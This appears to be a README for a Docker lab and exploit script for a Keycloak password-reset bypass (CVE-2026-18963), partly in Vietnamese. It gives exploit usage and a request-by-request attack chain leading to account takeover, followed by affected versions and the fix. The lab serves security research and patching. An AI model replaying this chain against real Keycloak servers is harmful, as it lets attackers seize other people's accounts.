
Docker-based lab and Python exploit for CVE-2026-18963, a Keycloak reset-credentials flow bypass enabling account takeover via email verification bypass.
Lab simulating vulnerability CVE-2026-18963 (CVSS 9.1) in Keycloak, allowing an attacker to take over any account through bypassing email verification in the password reset flow.
For security research and educational purposes only.
docker-compose up -d
Wait for Keycloak to start (~30-60 seconds).
pip install -r requirements.txt
python setup-lab.py
Script sẽ tạo:
vuln-lab với reset-password enabledvictim ([email protected] / VictimPass123!)python exploit.py -u http://127.0.0.1:8080 -r vuln-lab -t victim -p Pwned123!
Options:
-u / --url: Keycloak URL (default: http://127.0.0.1:8080)-r / --realm: Realm name (default: vuln-lab)-t / --target: Target username (default: victim)-p / --password: New password (default: Pwned123!)-v / --verbose: Enable debug outputMailHog UI: http://127.0.0.1:8025 — view the reset-password email sent during the exploit.
docker-compose down -v
Two combined flaws in Keycloak form an attack chain:
Flaw 1 — Selector state corruption (DefaultAuthenticationFlow.java):
When the user clicks "Try Another Way", the auth note AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED
is stored as "true" (a boolean string) instead of the execution model ID. The value
"true" is not bound to any specific execution, so it persists
across steps in the flow, causing the selector to display the wrong context.
Flaw 2 — Unconditional action success (ResetCredentialEmail.java):
The action() method of ResetCredentialEmail calls context.success() unconditionally
without validating the action token. Normally, action() is only called when the user
clicks the link in the email (which carries an action token). But when the selector is corrupted, an attacker
can trigger action() directly through flow processing.
Attacker Keycloak
│ │
│─── GET /auth (OIDC + PKCE) ────────>│ 1. Khởi tạo auth session
│<── Login page + cookies ────────────│
│ │
│─── GET /reset-credentials ─────────>│ 2. Chuyển đến reset flow
│<── Username form ──────────────────│
│ │
│─── POST tryAnotherWay=on ─────────>│ 3. Corrupt selector state
│<── Authenticator selector ─────────│ SELECTOR_DISPLAYED = "true"
│ │
│─── POST username=victim ──────────>│ 4. Gửi username qua selector
│<── "Check your email" page ────────│ Email gửi, CURRENT_EXEC = email_id
│ │
│─── GET /reset-credentials ────────>│ 5. Re-enter reset flow
│<── Corrupted selector (!!!) ───────│ processFlow() thấy SELECTOR="true"
│ │ → hiển thị selector cho email step
│ │
│─── POST {} (empty body) ──────────>│ 6. BYPASS: trigger action()
│<── 302 → UPDATE_PASSWORD ─────────│ processAction() không thấy
│ │ authenticationExecution trong form
│─── GET /required-action ──────────>│ → rơi vào nhánh action()
│<── Password update form ──────────│ ResetCredentialEmail.action()
│ │ → context.success() (vô điều kiện!)
│ │ → flow chuyển sang ResetPassword
│ │
│─── POST password-new=Pwned! ──────>│ 7. Đặt mật khẩu mới
│<── 302 → /account/ ──────────────│ Account takeover hoàn tất
│ │
└── Đăng nhập với mật khẩu mới ──────┘
In DefaultAuthenticationFlow.processAction(), when receiving a POST:
tryAnotherWay in the form → NO (form is empty)authenticationExecution in the form → NO (form is empty)authenticator.action(result) on the model from the URLBecause the URL contains execution=<email_exec_id> (from the selector form action), ResetCredentialEmail.action() is called → returns context.success() → the flow moves to ResetPassword → displays the password setup form.
| Product | Affected | Patched |
|---|---|---|
| Keycloak (upstream) | < 26.7.2 | 26.7.2+ |
| RHBK 26.4.x | < 26.4.15 | 26.4.15+ |
| RHBK 26.6.x | < 26.6.6 | 26.6.6+ |
DefaultAuthenticationFlow.java:
setAuthNote(SELECTOR_DISPLAYED, "true") → setAuthNote(SELECTOR_DISPLAYED, model.getId())processFlow() checks selector.equals(lastExecutionId) instead of Boolean.parseBoolean()removeAuthNote(SELECTOR_DISPLAYED)ResetCredentialEmail.java:
action() checks ACTION_TOKEN_USER_ID before calling context.success()context.failure(INVALID_USER)